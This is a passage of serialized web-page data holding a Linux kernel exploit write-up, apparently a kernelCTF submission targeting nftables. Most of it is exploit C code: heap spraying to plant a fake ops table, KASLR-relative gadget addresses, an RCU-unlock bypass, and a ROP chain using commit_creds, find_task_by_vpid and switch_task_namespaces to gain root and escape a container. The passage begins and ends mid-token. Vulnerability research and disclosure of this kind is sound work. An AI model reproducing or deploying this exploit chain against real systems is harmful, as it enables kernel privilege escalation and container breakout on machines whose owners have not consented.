\"spray-1\");\n[...]\n",[57199],{"type":25,"tag":115,"props":57200,"children":57201},{"__ignoreMap":7},[57202,57209,57217,57241,57288,57324,57331,57339,57371,57379,57387,57408,57416,57424,57488,57495,57503,57511,57518,57526,57560,57568,57575,57583,57590,57598,57631,57652],{"type":25,"tag":201,"props":57203,"children":57204},{"class":203,"line":204},[57205],{"type":25,"tag":201,"props":57206,"children":57207},{"style":220},[57208],{"type":31,"value":11821},{"type":25,"tag":201,"props":57210,"children":57211},{"class":203,"line":226},[57212],{"type":25,"tag":201,"props":57213,"children":57214},{"style":220},[57215],{"type":31,"value":57216},"    // Fake ops\n",{"type":25,"tag":201,"props":57218,"children":57219},{"class":203,"line":278},[57220,57225,57229,57233,57237],{"type":25,"tag":201,"props":57221,"children":57222},{"style":220},[57223],{"type":31,"value":57224},"    uint64_t *rop = calloc(29, ",{"type":25,"tag":201,"props":57226,"children":57227},{"style":4925},[57228],{"type":31,"value":56406},{"type":25,"tag":201,"props":57230,"children":57231},{"style":220},[57232],{"type":31,"value":298},{"type":25,"tag":201,"props":57234,"children":57235},{"style":208},[57236],{"type":31,"value":56713},{"type":25,"tag":201,"props":57238,"children":57239},{"style":220},[57240],{"type":31,"value":8732},{"type":25,"tag":201,"props":57242,"children":57243},{"class":203,"line":311},[57244,57249,57253,57257,57261,57265,57270,57274,57279,57283],{"type":25,"tag":201,"props":57245,"children":57246},{"style":246},[57247],{"type":31,"value":57248},"    rop",{"type":25,"tag":201,"props":57250,"children":57251},{"style":220},[57252],{"type":31,"value":423},{"type":25,"tag":201,"props":57254,"children":57255},{"style":426},[57256],{"type":31,"value":429},{"type":25,"tag":201,"props":57258,"children":57259},{"style":220},[57260],{"type":31,"value":10169},{"type":25,"tag":201,"props":57262,"children":57263},{"style":261},[57264],{"type":31,"value":1383},{"type":25,"tag":201,"props":57266,"children":57267},{"style":220},[57268],{"type":31,"value":57269}," kaslr_slide ",{"type":25,"tag":201,"props":57271,"children":57272},{"style":261},[57273],{"type":31,"value":5886},{"type":25,"tag":201,"props":57275,"children":57276},{"style":426},[57277],{"type":31,"value":57278}," 0xffffffff81988647",{"type":25,"tag":201,"props":57280,"children":57281},{"style":220},[57282],{"type":31,"value":50151},{"type":25,"tag":201,"props":57284,"children":57285},{"style":4497},[57286],{"type":31,"value":57287}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":25,"tag":201,"props":57289,"children":57290},{"class":203,"line":330},[57291,57295,57299,57303,57307,57311,57315,57319],{"type":25,"tag":201,"props":57292,"children":57293},{"style":246},[57294],{"type":31,"value":57248},{"type":25,"tag":201,"props":57296,"children":57297},{"style":220},[57298],{"type":31,"value":423},{"type":25,"tag":201,"props":57300,"children":57301},{"style":426},[57302],{"type":31,"value":4629},{"type":25,"tag":201,"props":57304,"children":57305},{"style":220},[57306],{"type":31,"value":10169},{"type":25,"tag":201,"props":57308,"children":57309},{"style":261},[57310],{"type":31,"value":1383},{"type":25,"tag":201,"props":57312,"children":57313},{"style":220},[57314],{"type":31,"value":57269},{"type":25,"tag":201,"props":57316,"children":57317},{"style":261},[57318],{"type":31,"value":5886},{"type":25,"tag":201,"props":57320,"children":57321},{"style":220},[57322],{"type":31,"value":57323}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":25,"tag":201,"props":57325,"children":57326},{"class":203,"line":397},[57327],{"type":25,"tag":201,"props":57328,"children":57329},{"style":220},[57330],{"type":31,"value":11821},{"type":25,"tag":201,"props":57332,"children":57333},{"class":203,"line":437},[57334],{"type":25,"tag":201,"props":57335,"children":57336},{"style":220},[57337],{"type":31,"value":57338},"    // Send ROP in object udata\n",{"type":25,"tag":201,"props":57340,"children":57341},{"class":203,"line":464},[57342,57347,57351,57356,57361,57366],{"type":25,"tag":201,"props":57343,"children":57344},{"style":220},[57345],{"type":31,"value":57346},"    del_obj(",{"type":25,"tag":201,"props":57348,"children":57349},{"style":4925},[57350],{"type":31,"value":55368},{"type":25,"tag":201,"props":57352,"children":57353},{"style":220},[57354],{"type":31,"value":57355},", \"",{"type":25,"tag":201,"props":57357,"children":57358},{"style":4925},[57359],{"type":31,"value":57360},"spray",{"type":25,"tag":201,"props":57362,"children":57363},{"style":220},[57364],{"type":31,"value":57365},"-0",{"type":25,"tag":201,"props":57367,"children":57368},{"style":267},[57369],{"type":31,"value":57370},"\");\n",{"type":25,"tag":201,"props":57372,"children":57373},{"class":203,"line":490},[57374],{"type":25,"tag":201,"props":57375,"children":57376},{"style":267},[57377],{"type":31,"value":57378},"    wait_destroyer();\n",{"type":25,"tag":201,"props":57380,"children":57381},{"class":203,"line":499},[57382],{"type":25,"tag":201,"props":57383,"children":57384},{"style":267},[57385],{"type":31,"value":57386},"    obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":25,"tag":201,"props":57388,"children":57389},{"class":203,"line":522},[57390,57395,57399,57404],{"type":25,"tag":201,"props":57391,"children":57392},{"style":267},[57393],{"type":31,"value":57394},"    fake_obj = (uint64_t *)getudata(nl, \"",{"type":25,"tag":201,"props":57396,"children":57397},{"style":208},[57398],{"type":31,"value":57360},{"type":25,"tag":201,"props":57400,"children":57401},{"style":220},[57402],{"type":31,"value":57403},"-3",{"type":25,"tag":201,"props":57405,"children":57406},{"style":267},[57407],{"type":31,"value":57370},{"type":25,"tag":201,"props":57409,"children":57410},{"class":203,"line":531},[57411],{"type":25,"tag":201,"props":57412,"children":57413},{"style":267},[57414],{"type":31,"value":57415},"    DumpHex(fake_obj, 0xe8);\n",{"type":25,"tag":201,"props":57417,"children":57418},{"class":203,"line":550},[57419],{"type":25,"tag":201,"props":57420,"children":57421},{"style":267},[57422],{"type":31,"value":57423},"    uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":25,"tag":201,"props":57425,"children":57426},{"class":203,"line":563},[57427,57432,57436,57440,57444,57449,57454,57459,57463,57468,57473,57478,57483],{"type":25,"tag":201,"props":57428,"children":57429},{"style":267},[57430],{"type":31,"value":57431},"    printf(\"",{"type":25,"tag":201,"props":57433,"children":57434},{"style":220},[57435],{"type":31,"value":423},{"type":25,"tag":201,"props":57437,"children":57438},{"style":261},[57439],{"type":31,"value":6077},{"type":25,"tag":201,"props":57441,"children":57442},{"style":220},[57443],{"type":31,"value":10169},{"type":25,"tag":201,"props":57445,"children":57446},{"style":4925},[57447],{"type":31,"value":57448},"ROP",{"type":25,"tag":201,"props":57450,"children":57451},{"style":4925},[57452],{"type":31,"value":57453}," addr",{"type":25,"tag":201,"props":57455,"children":57456},{"style":220},[57457],{"type":31,"value":57458},": 0",{"type":25,"tag":201,"props":57460,"children":57461},{"style":4925},[57462],{"type":31,"value":1606},{"type":25,"tag":201,"props":57464,"children":57465},{"style":220},[57466],{"type":31,"value":57467},"%",{"type":25,"tag":201,"props":57469,"children":57470},{"style":4925},[57471],{"type":31,"value":57472},"lx",{"type":25,"tag":201,"props":57474,"children":57475},{"style":220},[57476],{"type":31,"value":57477},"\\",{"type":25,"tag":201,"props":57479,"children":57480},{"style":4925},[57481],{"type":31,"value":57482},"n",{"type":25,"tag":201,"props":57484,"children":57485},{"style":267},[57486],{"type":31,"value":57487},"\", rop_addr);\n",{"type":25,"tag":201,"props":57489,"children":57490},{"class":203,"line":572},[57491],{"type":25,"tag":201,"props":57492,"children":57493},{"emptyLinePlaceholder":17},[57494],{"type":31,"value":496},{"type":25,"tag":201,"props":57496,"children":57497},{"class":203,"line":590},[57498],{"type":25,"tag":201,"props":57499,"children":57500},{"style":267},[57501],{"type":31,"value":57502},"    // Point to fake ops\n",{"type":25,"tag":201,"props":57504,"children":57505},{"class":203,"line":608},[57506],{"type":25,"tag":201,"props":57507,"children":57508},{"style":267},[57509],{"type":31,"value":57510},"    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":25,"tag":201,"props":57512,"children":57513},{"class":203,"line":617},[57514],{"type":25,"tag":201,"props":57515,"children":57516},{"style":267},[57517],{"type":31,"value":11821},{"type":25,"tag":201,"props":57519,"children":57520},{"class":203,"line":625},[57521],{"type":25,"tag":201,"props":57522,"children":57523},{"style":267},[57524],{"type":31,"value":57525},"    // Write ROP\n",{"type":25,"tag":201,"props":57527,"children":57528},{"class":203,"line":642},[57529,57534,57538,57542,57546,57551,57556],{"type":25,"tag":201,"props":57530,"children":57531},{"style":267},[57532],{"type":31,"value":57533},"    puts(\"",{"type":25,"tag":201,"props":57535,"children":57536},{"style":220},[57537],{"type":31,"value":423},{"type":25,"tag":201,"props":57539,"children":57540},{"style":261},[57541],{"type":31,"value":6077},{"type":25,"tag":201,"props":57543,"children":57544},{"style":220},[57545],{"type":31,"value":10169},{"type":25,"tag":201,"props":57547,"children":57548},{"style":4925},[57549],{"type":31,"value":57550},"Write",{"type":25,"tag":201,"props":57552,"children":57553},{"style":4925},[57554],{"type":31,"value":57555}," ROP",{"type":25,"tag":201,"props":57557,"children":57558},{"style":267},[57559],{"type":31,"value":57370},{"type":25,"tag":201,"props":57561,"children":57562},{"class":203,"line":659},[57563],{"type":25,"tag":201,"props":57564,"children":57565},{"style":267},[57566],{"type":31,"value":57567},"    deludata_spray(nl, 3, 1);\n",{"type":25,"tag":201,"props":57569,"children":57570},{"class":203,"line":667},[57571],{"type":25,"tag":201,"props":57572,"children":57573},{"style":267},[57574],{"type":31,"value":57378},{"type":25,"tag":201,"props":57576,"children":57577},{"class":203,"line":676},[57578],{"type":25,"tag":201,"props":57579,"children":57580},{"style":267},[57581],{"type":31,"value":57582},"    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":25,"tag":201,"props":57584,"children":57585},{"class":203,"line":694},[57586],{"type":25,"tag":201,"props":57587,"children":57588},{"emptyLinePlaceholder":17},[57589],{"type":31,"value":496},{"type":25,"tag":201,"props":57591,"children":57592},{"class":203,"line":707},[57593],{"type":25,"tag":201,"props":57594,"children":57595},{"style":267},[57596],{"type":31,"value":57597},"    // Takeover RIP\n",{"type":25,"tag":201,"props":57599,"children":57600},{"class":203,"line":715},[57601,57605,57609,57613,57617,57622,57627],{"type":25,"tag":201,"props":57602,"children":57603},{"style":267},[57604],{"type":31,"value":57533},{"type":25,"tag":201,"props":57606,"children":57607},{"style":220},[57608],{"type":31,"value":423},{"type":25,"tag":201,"props":57610,"children":57611},{"style":261},[57612],{"type":31,"value":6077},{"type":25,"tag":201,"props":57614,"children":57615},{"style":220},[57616],{"type":31,"value":10169},{"type":25,"tag":201,"props":57618,"children":57619},{"style":4925},[57620],{"type":31,"value":57621},"Takeover",{"type":25,"tag":201,"props":57623,"children":57624},{"style":4925},[57625],{"type":31,"value":57626}," RIP",{"type":25,"tag":201,"props":57628,"children":57629},{"style":267},[57630],{"type":31,"value":57370},{"type":25,"tag":201,"props":57632,"children":57633},{"class":203,"line":732},[57634,57639,57643,57648],{"type":25,"tag":201,"props":57635,"children":57636},{"style":267},[57637],{"type":31,"value":57638},"    dump_obj(nl, \"",{"type":25,"tag":201,"props":57640,"children":57641},{"style":208},[57642],{"type":31,"value":57360},{"type":25,"tag":201,"props":57644,"children":57645},{"style":220},[57646],{"type":31,"value":57647},"-1",{"type":25,"tag":201,"props":57649,"children":57650},{"style":267},[57651],{"type":31,"value":57370},{"type":25,"tag":201,"props":57653,"children":57654},{"class":203,"line":749},[57655],{"type":25,"tag":201,"props":57656,"children":57657},{"style":267},[57658],{"type":31,"value":11821},{"type":25,"tag":40,"props":57660,"children":57662},{"id":57661},"bypass-context-switch-in-rcu-critical-section",[57663],{"type":31,"value":57664},"Bypass context switch in RCU critical-section",{"type":25,"tag":34,"props":57666,"children":57667},{},[57668,57669,57674],{"type":31,"value":18109},{"type":25,"tag":115,"props":57670,"children":57672},{"className":57671},[],[57673],{"type":31,"value":56192},{"type":31,"value":57675}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":25,"tag":34,"props":57677,"children":57678},{},[57679,57681,57688,57690,57696,57698,57704],{"type":31,"value":57680},"A workaround has been discussed before by D3v17 in a ",{"type":25,"tag":71,"props":57682,"children":57685},{"href":57683,"rel":57684},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[75],[57686],{"type":31,"value":57687},"previous kernelCTF submission",{"type":31,"value":57689}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":25,"tag":115,"props":57691,"children":57693},{"className":57692},[],[57694],{"type":31,"value":57695},"task_struct",{"type":31,"value":57697}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":25,"tag":115,"props":57699,"children":57701},{"className":57700},[],[57702],{"type":31,"value":57703},"__rcu_read_unlock()",{"type":31,"value":57705}," function and exit the RCU critical-section before switching contexts.",{"type":25,"tag":191,"props":57707,"children":57709},{"className":30593,"code":57708,"language":30595,"meta":7,"style":7},"    // ROP stage 1\n    int pos = 3;\n\n    rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[57710],{"type":25,"tag":115,"props":57711,"children":57712},{"__ignoreMap":7},[57713,57721,57745,57752],{"type":25,"tag":201,"props":57714,"children":57715},{"class":203,"line":204},[57716],{"type":25,"tag":201,"props":57717,"children":57718},{"style":4497},[57719],{"type":31,"value":57720},"    // ROP stage 1\n",{"type":25,"tag":201,"props":57722,"children":57723},{"class":203,"line":226},[57724,57728,57733,57737,57741],{"type":25,"tag":201,"props":57725,"children":57726},{"style":208},[57727],{"type":31,"value":20576},{"type":25,"tag":201,"props":57729,"children":57730},{"style":220},[57731],{"type":31,"value":57732}," pos ",{"type":25,"tag":201,"props":57734,"children":57735},{"style":261},[57736],{"type":31,"value":1383},{"type":25,"tag":201,"props":57738,"children":57739},{"style":426},[57740],{"type":31,"value":20598},{"type":25,"tag":201,"props":57742,"children":57743},{"style":220},[57744],{"type":31,"value":461},{"type":25,"tag":201,"props":57746,"children":57747},{"class":203,"line":278},[57748],{"type":25,"tag":201,"props":57749,"children":57750},{"emptyLinePlaceholder":17},[57751],{"type":31,"value":496},{"type":25,"tag":201,"props":57753,"children":57754},{"class":203,"line":311},[57755,57759,57764,57768,57772,57776,57780,57784],{"type":25,"tag":201,"props":57756,"children":57757},{"style":246},[57758],{"type":31,"value":57248},{"type":25,"tag":201,"props":57760,"children":57761},{"style":220},[57762],{"type":31,"value":57763},"[pos",{"type":25,"tag":201,"props":57765,"children":57766},{"style":261},[57767],{"type":31,"value":52347},{"type":25,"tag":201,"props":57769,"children":57770},{"style":220},[57771],{"type":31,"value":10169},{"type":25,"tag":201,"props":57773,"children":57774},{"style":261},[57775],{"type":31,"value":1383},{"type":25,"tag":201,"props":57777,"children":57778},{"style":220},[57779],{"type":31,"value":57269},{"type":25,"tag":201,"props":57781,"children":57782},{"style":261},[57783],{"type":31,"value":5886},{"type":25,"tag":201,"props":57785,"children":57786},{"style":220},[57787],{"type":31,"value":57788}," __RCU_READ_UNLOCK;\n",{"type":25,"tag":40,"props":57790,"children":57792},{"id":57791},"rop",[57793],{"type":31,"value":57448},{"type":25,"tag":34,"props":57795,"children":57796},{},[57797],{"type":31,"value":57798},"Most of the ROP chain to escape the container as root is business as usual:",{"type":25,"tag":18183,"props":57800,"children":57801},{},[57802,57813,57824],{"type":25,"tag":6948,"props":57803,"children":57804},{},[57805,57811],{"type":25,"tag":115,"props":57806,"children":57808},{"className":57807},[],[57809],{"type":31,"value":57810},"commit_creds(&init_cred);",{"type":31,"value":57812}," Commit root credentials to our process",{"type":25,"tag":6948,"props":57814,"children":57815},{},[57816,57822],{"type":25,"tag":115,"props":57817,"children":57819},{"className":57818},[],[57820],{"type":31,"value":57821},"task = find_task_by_vpid(1);",{"type":31,"value":57823}," Find the root process of our namespace",{"type":25,"tag":6948,"props":57825,"children":57826},{},[57827,57833],{"type":25,"tag":115,"props":57828,"children":57830},{"className":57829},[],[57831],{"type":31,"value":57832},"switch_task_namespaces(task, &init_nsproxy);",{"type":31,"value":57834}," Move it to the root namespace",{"type":25,"tag":34,"props":57836,"children":57837},{},[57838,57840,57846,57848,57854,57856,57862,57864,57870,57872,57877,57879,57885],{"type":31,"value":57839},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":25,"tag":115,"props":57841,"children":57843},{"className":57842},[],[57844],{"type":31,"value":57845},"find_task_by_vpid(1)",{"type":31,"value":57847}," passed through ",{"type":25,"tag":115,"props":57849,"children":57851},{"className":57850},[],[57852],{"type":31,"value":57853},"rax",{"type":31,"value":57855}," to ",{"type":25,"tag":115,"props":57857,"children":57859},{"className":57858},[],[57860],{"type":31,"value":57861},"rdi",{"type":31,"value":57863},". What I ended up going with was a ",{"type":25,"tag":115,"props":57865,"children":57867},{"className":57866},[],[57868],{"type":31,"value":57869},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":31,"value":57871}," gadget, that allowed me to push the ",{"type":25,"tag":115,"props":57873,"children":57875},{"className":57874},[],[57876],{"type":31,"value":57853},{"type":31,"value":57878}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":25,"tag":115,"props":57880,"children":57882},{"className":57881},[],[57883],{"type":31,"value":57884},"pop rdi; ret",{"type":31,"value":57886}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":25,"tag":18183,"props":57888,"children":57889},{},[57890,57895,57908],{"type":25,"tag":6948,"props":57891,"children":57892},{},[57893],{"type":31,"value":57894},"We push the value onto the stack (stack pointer regresses)",{"type":25,"tag":6948,"props":57896,"children":57897},{},[57898,57900,57906],{"type":31,"value":57899},"We jump to our \"trampoline\" gadget (",{"type":25,"tag":115,"props":57901,"children":57903},{"className":57902},[],[57904],{"type":31,"value":57905},"pop rdi; ret;",{"type":31,"value":57907}," location)",{"type":25,"tag":6948,"props":57909,"children":57910},{},[57911,57916],{"type":25,"tag":115,"props":57912,"children":57914},{"className":57913},[],[57915],{"type":31,"value":57884},{"type":31,"value":57917}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":25,"tag":191,"props":57919,"children":57921},{"className":30593,"code":57920,"language":30595,"meta":7,"style":7},"[...]\n    // commit_creds(&init_cred);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = kaslr_slide + INIT_CRED;\n    rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n    // task = find_task_by_vpid(1);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = 1;\n    rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = obj_ptr + 0xe0 - 0x66;            // rax -> rdi and resume rop\n    rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n    // switch_task_namespaces(task, &init_nsproxy);\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = kaslr_slide + INIT_NSPROXY;\n    rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[57922],{"type":25,"tag":115,"props":57923,"children":57924},{"__ignoreMap":7},[57925,57932,57949,57994,58030,58066,58073,58081,58124,58155,58191,58236,58291,58336,58343,58351,58394,58430,58466],{"type":25,"tag":201,"props":57926,"children":57927},{"class":203,"line":204},[57928],{"type":25,"tag":201,"props":57929,"children":57930},{"style":220},[57931],{"type":31,"value":11821},{"type":25,"tag":201,"props":57933,"children":57934},{"class":203,"line":226},[57935,57940,57945],{"type":25,"tag":201,"props":57936,"children":57937},{"style":220},[57938],{"type":31,"value":57939},"    // commit_creds(&",{"type":25,"tag":201,"props":57941,"children":57942},{"style":246},[57943],{"type":31,"value":57944},"init_cred",{"type":25,"tag":201,"props":57946,"children":57947},{"style":220},[57948],{"type":31,"value":308},{"type":25,"tag":201,"props":57950,"children":57951},{"class":203,"line":278},[57952,57956,57960,57964,57968,57972,57976,57980,57985,57989],{"type":25,"tag":201,"props":57953,"children":57954},{"style":246},[57955],{"type":31,"value":57248},{"type":25,"tag":201,"props":57957,"children":57958},{"style":220},[57959],{"type":31,"value":57763},{"type":25,"tag":201,"props":57961,"children":57962},{"style":261},[57963],{"type":31,"value":52347},{"type":25,"tag":201,"props":57965,"children":57966},{"style":220},[57967],{"type":31,"value":10169},{"type":25,"tag":201,"props":57969,"children":57970},{"style":261},[57971],{"type":31,"value":1383},{"type":25,"tag":201,"props":57973,"children":57974},{"style":220},[57975],{"type":31,"value":57269},{"type":25,"tag":201,"props":57977,"children":57978},{"style":261},[57979],{"type":31,"value":5886},{"type":25,"tag":201,"props":57981,"children":57982},{"style":426},[57983],{"type":31,"value":57984}," 0xffffffff8112c7c0",{"type":25,"tag":201,"props":57986,"children":57987},{"style":220},[57988],{"type":31,"value":50151},{"type":25,"tag":201,"props":57990,"children":57991},{"style":4497},[57992],{"type":31,"value":57993}," // pop rdi; ret;\n",{"type":25,"tag":201,"props":57995,"children":57996},{"class":203,"line":311},[57997,58001,58005,58009,58013,58017,58021,58025],{"type":25,"tag":201,"props":57998,"children":57999},{"style":246},[58000],{"type":31,"value":57248},{"type":25,"tag":201,"props":58002,"children":58003},{"style":220},[58004],{"type":31,"value":57763},{"type":25,"tag":201,"props":58006,"children":58007},{"style":261},[58008],{"type":31,"value":52347},{"type":25,"tag":201,"props":58010,"children":58011},{"style":220},[58012],{"type":31,"value":10169},{"type":25,"tag":201,"props":58014,"children":58015},{"style":261},[58016],{"type":31,"value":1383},{"type":25,"tag":201,"props":58018,"children":58019},{"style":220},[58020],{"type":31,"value":57269},{"type":25,"tag":201,"props":58022,"children":58023},{"style":261},[58024],{"type":31,"value":5886},{"type":25,"tag":201,"props":58026,"children":58027},{"style":220},[58028],{"type":31,"value":58029}," INIT_CRED;\n",{"type":25,"tag":201,"props":58031,"children":58032},{"class":203,"line":330},[58033,58037,58041,58045,58049,58053,58057,58061],{"type":25,"tag":201,"props":58034,"children":58035},{"style":246},[58036],{"type":31,"value":57248},{"type":25,"tag":201,"props":58038,"children":58039},{"style":220},[58040],{"type":31,"value":57763},{"type":25,"tag":201,"props":58042,"children":58043},{"style":261},[58044],{"type":31,"value":52347},{"type":25,"tag":201,"props":58046,"children":58047},{"style":220},[58048],{"type":31,"value":10169},{"type":25,"tag":201,"props":58050,"children":58051},{"style":261},[58052],{"type":31,"value":1383},{"type":25,"tag":201,"props":58054,"children":58055},{"style":220},[58056],{"type":31,"value":57269},{"type":25,"tag":201,"props":58058,"children":58059},{"style":261},[58060],{"type":31,"value":5886},{"type":25,"tag":201,"props":58062,"children":58063},{"style":220},[58064],{"type":31,"value":58065}," COMMIT_CREDS;\n",{"type":25,"tag":201,"props":58067,"children":58068},{"class":203,"line":397},[58069],{"type":25,"tag":201,"props":58070,"children":58071},{"emptyLinePlaceholder":17},[58072],{"type":31,"value":496},{"type":25,"tag":201,"props":58074,"children":58075},{"class":203,"line":437},[58076],{"type":25,"tag":201,"props":58077,"children":58078},{"style":4497},[58079],{"type":31,"value":58080},"    // task = find_task_by_vpid(1);\n",{"type":25,"tag":201,"props":58082,"children":58083},{"class":203,"line":464},[58084,58088,58092,58096,58100,58104,58108,58112,58116,58120],{"type":25,"tag":201,"props":58085,"children":58086},{"style":246},[58087],{"type":31,"value":57248},{"type":25,"tag":201,"props":58089,"children":58090},{"style":220},[58091],{"type":31,"value":57763},{"type":25,"tag":201,"props":58093,"children":58094},{"style":261},[58095],{"type":31,"value":52347},{"type":25,"tag":201,"props":58097,"children":58098},{"style":220},[58099],{"type":31,"value":10169},{"type":25,"tag":201,"props":58101,"children":58102},{"style":261},[58103],{"type":31,"value":1383},{"type":25,"tag":201,"props":58105,"children":58106},{"style":220},[58107],{"type":31,"value":57269},{"type":25,"tag":201,"props":58109,"children":58110},{"style":261},[58111],{"type":31,"value":5886},{"type":25,"tag":201,"props":58113,"children":58114},{"style":426},[58115],{"type":31,"value":57984},{"type":25,"tag":201,"props":58117,"children":58118},{"style":220},[58119],{"type":31,"value":50151},{"type":25,"tag":201,"props":58121,"children":58122},{"style":4497},[58123],{"type":31,"value":57993},{"type":25,"tag":201,"props":58125,"children":58126},{"class":203,"line":490},[58127,58131,58135,58139,58143,58147,58151],{"type":25,"tag":201,"props":58128,"children":58129},{"style":246},[58130],{"type":31,"value":57248},{"type":25,"tag":201,"props":58132,"children":58133},{"style":220},[58134],{"type":31,"value":57763},{"type":25,"tag":201,"props":58136,"children":58137},{"style":261},[58138],{"type":31,"value":52347},{"type":25,"tag":201,"props":58140,"children":58141},{"style":220},[58142],{"type":31,"value":10169},{"type":25,"tag":201,"props":58144,"children":58145},{"style":261},[58146],{"type":31,"value":1383},{"type":25,"tag":201,"props":58148,"children":58149},{"style":426},[58150],{"type":31,"value":6029},{"type":25,"tag":201,"props":58152,"children":58153},{"style":220},[58154],{"type":31,"value":461},{"type":25,"tag":201,"props":58156,"children":58157},{"class":203,"line":499},[58158,58162,58166,58170,58174,58178,58182,58186],{"type":25,"tag":201,"props":58159,"children":58160},{"style":246},[58161],{"type":31,"value":57248},{"type":25,"tag":201,"props":58163,"children":58164},{"style":220},[58165],{"type":31,"value":57763},{"type":25,"tag":201,"props":58167,"children":58168},{"style":261},[58169],{"type":31,"value":52347},{"type":25,"tag":201,"props":58171,"children":58172},{"style":220},[58173],{"type":31,"value":10169},{"type":25,"tag":201,"props":58175,"children":58176},{"style":261},[58177],{"type":31,"value":1383},{"type":25,"tag":201,"props":58179,"children":58180},{"style":220},[58181],{"type":31,"value":57269},{"type":25,"tag":201,"props":58183,"children":58184},{"style":261},[58185],{"type":31,"value":5886},{"type":25,"tag":201,"props":58187,"children":58188},{"style":220},[58189],{"type":31,"value":58190}," FIND_TASK_BY_VPID;\n",{"type":25,"tag":201,"props":58192,"children":58193},{"class":203,"line":522},[58194,58198,58202,58206,58210,58214,58218,58222,58227,58231],{"type":25,"tag":201,"props":58195,"children":58196},{"style":246},[58197],{"type":31,"value":57248},{"type":25,"tag":201,"props":58199,"children":58200},{"style":220},[58201],{"type":31,"value":57763},{"type":25,"tag":201,"props":58203,"children":58204},{"style":261},[58205],{"type":31,"value":52347},{"type":25,"tag":201,"props":58207,"children":58208},{"style":220},[58209],{"type":31,"value":10169},{"type":25,"tag":201,"props":58211,"children":58212},{"style":261},[58213],{"type":31,"value":1383},{"type":25,"tag":201,"props":58215,"children":58216},{"style":220},[58217],{"type":31,"value":57269},{"type":25,"tag":201,"props":58219,"children":58220},{"style":261},[58221],{"type":31,"value":5886},{"type":25,"tag":201,"props":58223,"children":58224},{"style":426},[58225],{"type":31,"value":58226}," 0xffffffff8102e2a6",{"type":25,"tag":201,"props":58228,"children":58229},{"style":220},[58230],{"type":31,"value":50151},{"type":25,"tag":201,"props":58232,"children":58233},{"style":4497},[58234],{"type":31,"value":58235}," // pop rsi; ret;\n",{"type":25,"tag":201,"props":58237,"children":58238},{"class":203,"line":531},[58239,58243,58247,58251,58255,58259,58264,58268,58273,58277,58282,58286],{"type":25,"tag":201,"props":58240,"children":58241},{"style":246},[58242],{"type":31,"value":57248},{"type":25,"tag":201,"props":58244,"children":58245},{"style":220},[58246],{"type":31,"value":57763},{"type":25,"tag":201,"props":58248,"children":58249},{"style":261},[58250],{"type":31,"value":52347},{"type":25,"tag":201,"props":58252,"children":58253},{"style":220},[58254],{"type":31,"value":10169},{"type":25,"tag":201,"props":58256,"children":58257},{"style":261},[58258],{"type":31,"value":1383},{"type":25,"tag":201,"props":58260,"children":58261},{"style":220},[58262],{"type":31,"value":58263}," obj_ptr ",{"type":25,"tag":201,"props":58265,"children":58266},{"style":261},[58267],{"type":31,"value":5886},{"type":25,"tag":201,"props":58269,"children":58270},{"style":426},[58271],{"type":31,"value":58272}," 0xe0",{"type":25,"tag":201,"props":58274,"children":58275},{"style":261},[58276],{"type":31,"value":52333},{"type":25,"tag":201,"props":58278,"children":58279},{"style":426},[58280],{"type":31,"value":58281}," 0x66",{"type":25,"tag":201,"props":58283,"children":58284},{"style":220},[58285],{"type":31,"value":50151},{"type":25,"tag":201,"props":58287,"children":58288},{"style":4497},[58289],{"type":31,"value":58290},"            // rax -> rdi and resume rop\n",{"type":25,"tag":201,"props":58292,"children":58293},{"class":203,"line":550},[58294,58298,58302,58306,58310,58314,58318,58322,58327,58331],{"type":25,"tag":201,"props":58295,"children":58296},{"style":246},[58297],{"type":31,"value":57248},{"type":25,"tag":201,"props":58299,"children":58300},{"style":220},[58301],{"type":31,"value":57763},{"type":25,"tag":201,"props":58303,"children":58304},{"style":261},[58305],{"type":31,"value":52347},{"type":25,"tag":201,"props":58307,"children":58308},{"style":220},[58309],{"type":31,"value":10169},{"type":25,"tag":201,"props":58311,"children":58312},{"style":261},[58313],{"type":31,"value":1383},{"type":25,"tag":201,"props":58315,"children":58316},{"style":220},[58317],{"type":31,"value":57269},{"type":25,"tag":201,"props":58319,"children":58320},{"style":261},[58321],{"type":31,"value":5886},{"type":25,"tag":201,"props":58323,"children":58324},{"style":426},[58325],{"type":31,"value":58326}," 0xffffffff81caed31",{"type":25,"tag":201,"props":58328,"children":58329},{"style":220},[58330],{"type":31,"value":50151},{"type":25,"tag":201,"props":58332,"children":58333},{"style":4497},[58334],{"type":31,"value":58335}," // push rax; jmp qword ptr [rsi + 